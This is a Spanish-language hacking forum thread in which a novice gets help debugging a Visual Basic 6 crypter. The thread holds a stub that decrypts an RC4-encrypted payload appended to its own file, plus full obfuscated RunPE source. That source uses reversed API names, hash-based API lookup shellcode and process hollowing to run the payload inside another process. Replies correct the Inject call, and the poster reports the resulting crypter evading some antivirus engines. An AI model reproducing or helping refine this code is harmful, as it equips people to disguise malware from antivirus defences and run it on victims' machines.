Hola últimamente estoy teniendo problemas con lo de crear crypters, mi error es haora que estoy sigieno el siguiente video([Enlace externo eliminado para invitados]) bueno hay me dice que renplase
Inject Yo, StrConv(sData(1), vbFromUnicode), vbNullString, que renplaze el Inject bueno en el generaor runpe me dice Modo de uso : Call Inject(sByte, sApp.Path , Command).
Bueno yo lo deje como esta en Inject pero haora me salta un error donde dice Yo, Error de tipo:se esperaba una matriz o un tipo definido por el usuario, espero que me puedan ayudar, otro problema que tengo tanbien es en la encryptacion RC4, tengo un generador pero nose si ponerlo porque no dice public fuction RC4 sino enves de RC4 un monton de algoritmos, Espero su Ayuda.
Salu2
Sub Main()
Dim YO As String, Datos As String, sData() As String

YO = App.Path & "\" & App.EXEName & ".exe"

Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1

sData() = Split(Datos, "##$$##")

sData(1) = RC4(sData(1), "DarkJairo60026112")

Injec yo,strconv(sData(1),vbFromUnicode),vbNullString

End Sub





ese es el sub main que tnego nose si abra algun conflicto para que me tire ese error
Con este tutorial quizá puedas aprender más sobre los crypters. Antes de empezar a hacer un crypter (y cualquier otra herramienta) deberías aprender los fundamentos de la programación.
CALL Injec (yo,strconv(sData(1),vbFromUnicode),vbNullString <<<<<<<<<<<<<<<<<<<<<<<<aca esta tu error te falto "CALL" fijate en el runpe si te coincide la funcion me refiero el nombre "injec" este ultimo puede ser cualquiera inject runpe manzanas limones etc....

fijate si poniendo esto asi funciona
Call injec(yo, StrConv(sData(1), vbFromUnicode))

Te faltan conceptos muy basicos si miraste volve a mirar todos los tutos sobre el tema
Suerte
TITAN escribió:CALL Injec (yo,strconv(sData(1),vbFromUnicode),vbNullString <<<<<<<<<<<<<<<<<<<<<<<<aca esta tu error te falto "CALL" fijate en el runpe si te coincide la funcion me refiero el nombre "injec" este ultimo puede ser cualquiera inject runpe manzanas limones etc....

fijate si poniendo esto asi funciona
Call injec(yo, StrConv(sData(1), vbFromUnicode))

Te faltan conceptos muy basicos si miraste volve a mirar todos los tutos sobre el tema
Suerte
¿Y si injec no es un sub? Muchos RunPEs son funciones que devuelven el PID del proceso creado.
por eso le dije que probara, si postea el runpe nos sacamos las dudas, pero me juego que el rumpe q tiene es algo asi
Public Sub inject (ByVal lalala As String, sarasa () As Byte)
masterhack escribió:Modo de uso : Call Inject(sByte, sApp.Path , Command).
masterhack escribió:Injec yo,strconv(sData(1),vbFromUnicode),vbNullString
Tú mismo te contestas. El modo de uso es: archivo, ruta y argumentos. Tú lo estás usando: ruta, archivo y argumentos.
Injec strconv(sData(1),vbFromUnicode), yo, vbNullString
Option Explicit

Option Base 0

Private Type MopFlsArsNh
StsGuthRmoOALo As Long

End Type

Private Type EqMlFsPpRtjMRlJi

RqhJBisFAlmERunFC As Byte
CqnSNmLj As Byte
B3 As Byte
MtGlliJjpGt As Byte

End Type

Private Declare Function CallWindowProcA Lib "user32"(ByVal DpiSQlOm As Long, Optional ByVal FtqLSBJrt As Long, Optional ByVal PhpQnqoKo As Long, Optional ByVal GnlAFuhnm As Long, Optional ByVal KjoFLpCQq As Long) As Long

Private KGisSrLPA As Boolean

Private qSmirQoBrnoKj(170) As Byte


Private DhiEChoMJPBD (255) As Byte
Private Const kernel32 As String = "KERNEL32"
Private Const NTDLL As String = "NTDLL"

Public Function Inject(ByRef EiLCQBnltrFqlBhmOlDoFm() As Byte, ByVal piqGu As String, Optional ByVal KCjEOhoNOE As String, Optional ByRef lMnOrSiGmNmOiLului As Long) As Boolean
Dim tJnPPqrREonrDn As Long
Dim AoDtpNuE As Long
Dim RsqtPn As Long
Dim jnltLGnP As Long
Dim RjGnFoioRp As Long
Dim puomPFFDEArs (16) As Long
Dim BuLmCoDuiAEp(3) As Long
Dim iusrnACC (50) As Long

tJnPPqrREonrDn = VarPtr(EiLCQBnltrFqlBhmOlDoFm(0))
If Not jRhBsmoCijAropDorNntNiqNhnGl (tJnPPqrREonrDn, 2) = &H5A4D Then Exit Function
AoDtpNuE = tJnPPqrREonrDn + jRhBsmoCijAropDorNntNiqNhnGl (tJnPPqrREonrDn + &H3C)
If Not jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE) = &H4550 Then Exit Function
jnltLGnP = jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H34)
puomPFFDEArs (0) = &H44
Call pOp (sReV(Chr$(50) & Chr$(51) & Chr$(76) & Chr$(69) & Chr$(78) & Chr$(82) & Chr$(69) & Chr$(75)), &H16B3FE88, StrPtr(piqGu), StrPtr(KCjEOhoNOE ), 0, 0, 0, &H4, 0, 0, VarPtr(puomPFFDEArs (0)), VarPtr( BuLmCoDuiAEp(0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HF21037D0, BuLmCoDuiAEp(0), jnltLGnP )
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HD33BCABD, BuLmCoDuiAEp(0), VarPtr(jnltLGnP ), 0, VarPtr(jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H50)), &H3000, &H40)
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), jnltLGnP , VarPtr(EiLCQBnltrFqlBhmOlDoFm(0)), jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H54), 0)
For RjGnFoioRp = 0 To jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H6, 2) - 1
RsqtPn = AoDtpNuE + &HF8 + (&H28 * RjGnFoioRp )
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), jnltLGnP + jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &HC), tJnPPqrREonrDn + jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &H14), jRhBsmoCijAropDorNntNiqNhnGl (RsqtPn + &H10), 0)
Next RjGnFoioRp
iusrnACC (0) = &H10007
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HE935E393, BuLmCoDuiAEp(1), VarPtr(iusrnACC (0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, BuLmCoDuiAEp(0), iusrnACC (41) + &H8, VarPtr(jnltLGnP ), &H4, 0)
iusrnACC (44) = jnltLGnP + jRhBsmoCijAropDorNntNiqNhnGl (AoDtpNuE + &H28)
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &H6935E395, BuLmCoDuiAEp(1), VarPtr(iusrnACC (0)))
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC54A46C8, BuLmCoDuiAEp(1), 0)
lMnOrSiGmNmOiLului = BuLmCoDuiAEp(0)
Inject = True
End Function
Private Function jRhBsmoCijAropDorNntNiqNhnGl (ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
Call pOp (sReV(Chr$(76) & Chr$(76) & Chr$(68) & Chr$(84) & Chr$(78)), &HC5108CC2, -1, VarPtr(jRhBsmoCijAropDorNntNiqNhnGl ), lPtr, lSize, 0)
End Function
Public Function pOp (ByVal OjiAimDRt As String, ByVal JrClh As Long, ParamArray KniF () As Variant) As Long
Dim RsMSNl As Variant
Dim qtKjtmEO As EqMlFsPpRtjMRlJi
Dim mnRCqmBDinupo As Long
Dim RjGnFoioRp As Long
Dim tqnMhrr As Long

If Not KGisSrLPA Then
For RjGnFoioRp = 0 To 170
qSmirQoBrnoKj(RjGnFoioRp ) = CByte(Choose(RjGnFoioRp + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
&H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
Next RjGnFoioRp
RjGnFoioRp = 0
KGisSrLPA = True
End If
mnRCqmBDinupo = CallWindowProcA(VarPtr(qSmirQoBrnoKj(0)), StrPtr(OjiAimDRt ), JrClh )
If mnRCqmBDinupo Then
For tqnMhrr = UBound(KniF ) To LBound(KniF ) Step -1
qtKjtmEO = oDqNpsCs (CLng(KniF (tqnMhrr )))
Call nKjqK (&H68, RjGnFoioRp )
Call nKjqK (qtKjtmEO.RqhJBisFAlmERunFC, RjGnFoioRp ): Call nKjqK (qtKjtmEO.CqnSNmLj, RjGnFoioRp )
Call nKjqK (qtKjtmEO.B3, RjGnFoioRp ): Call nKjqK (qtKjtmEO.MtGlliJjpGt, RjGnFoioRp )
Next tqnMhrr

qtKjtmEO = oDqNpsCs (mnRCqmBDinupo )
Call nKjqK (&HB8, RjGnFoioRp )
Call nKjqK (qtKjtmEO.RqhJBisFAlmERunFC, RjGnFoioRp ): Call nKjqK (qtKjtmEO.CqnSNmLj, RjGnFoioRp )
Call nKjqK (qtKjtmEO.B3, RjGnFoioRp ): Call nKjqK (qtKjtmEO.MtGlliJjpGt, RjGnFoioRp )
Call nKjqK (&HFF, RjGnFoioRp ): Call nKjqK (&HD0, RjGnFoioRp )
Call nKjqK (&HC3, RjGnFoioRp )
pOp = CallWindowProcA(VarPtr(DhiEChoMJPBD(0)))
End If
End Function

Private Sub nKjqK (ByVal RtnKssmDESCLBD As Byte, ByRef rKjRoAnlrQ As Long)
DhiEChoMJPBD(rKjRoAnlrQ ) = RtnKssmDESCLBD
rKjRoAnlrQ = rKjRoAnlrQ + 1
End Sub
Private Function oDqNpsCs (ByVal jBtiMtD As Long) As EqMlFsPpRtjMRlJi
Dim uLptJlthnNlmGolJ As MopFlsArsNh
uLptJlthnNlmGolJ.StsGuthRmoOALo = jBtiMtD
LSet oDqNpsCs = uLptJlthnNlmGolJ
End Function

Function sReV(sStr As String) As String

Dim A() As Byte
Dim i As Long

A = sStr
For i = UBound(A) - 1 To 0 Step -2
sReV = sReV & Chr(A(i))
Next i
End Function

'*** RunPe Generator M3 v1.0 ***
'*** RunPe Base Karcrack ***
'*** Codeado por M3n3g@tt1 ***
'*** Utilizaccion : Call Inject(sByte, sApp.Path , Command) ***
me confundo un poco con los tutoriales porque asen algo diferente, mi error creo que fue lo del ultimo que dice como ultilizar el runpe, pero no me dice nada yo le pongo Inject, pero me señala que el error esta en el submain en la string YO. Alguna solucion
[Enlace externo eliminado para invitados].
miren mi primer crypter , no lo hice con el runpe que tengo lo hise con el runpe del video pero la rc4 no, 26 de 34, haora a aprender moding sera ps
Gracias Blau, me funciono lo que me dijiste aunque sea detectado or 21 antivirus algo es algo, nose porque mis codigos estan asi ero bueno gracias
Responder

Volver a “Dudas y Preguntas”